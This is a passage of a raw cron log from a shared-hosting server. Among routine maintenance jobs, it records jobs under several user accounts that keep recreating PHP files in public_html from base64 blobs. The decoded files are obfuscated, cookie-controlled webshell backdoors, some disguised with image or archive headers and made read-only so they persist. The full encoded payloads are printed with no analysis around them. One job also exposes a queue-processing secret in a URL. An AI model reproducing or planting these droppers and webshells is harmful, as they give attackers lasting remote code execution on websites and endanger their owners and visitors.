"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:09:01 medusa CROND[21112]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:09:01 medusa CROND[21117]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:10:01 medusa CROND[13305]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:10:01 medusa CROND[13308]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 19:10:02 medusa CROND[13343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:10:02 medusa CROND[13344]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:10:02 medusa CROND[13385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:10:02 medusa CROND[13479]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:10:02 medusa CROND[13486]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 19:10:02 medusa CROND[13490]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:10:02 medusa CROND[13492]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:10:02 medusa CROND[13494]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 19:10:02 medusa CROND[13495]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:10:02 medusa CROND[13491]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 19:10:02 medusa CROND[13496]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:10:02 medusa CROND[13504]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:10:02 medusa CROND[13485]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 19:10:02 medusa CROND[13498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:10:02 medusa CROND[13499]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:10:02 medusa CROND[13484]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:10:02 medusa CROND[13511]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:10:02 medusa CROND[13510]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:10:02 medusa CROND[13519]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:10:02 medusa CROND[13520]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:10:02 medusa CROND[13521]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:10:02 medusa CROND[13522]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:10:02 medusa CROND[13531]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:10:02 medusa CROND[13533]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:10:02 medusa CROND[13534]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:10:02 medusa CROND[13532]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:11:02 medusa CROND[5693]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:11:02 medusa CROND[5789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:11:02 medusa CROND[5790]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:11:02 medusa CROND[5791]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:11:02 medusa CROND[5792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:11:02 medusa CROND[5795]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:11:02 medusa CROND[5796]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:11:02 medusa CROND[5807]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:11:02 medusa CROND[5808]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:11:02 medusa CROND[5810]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICR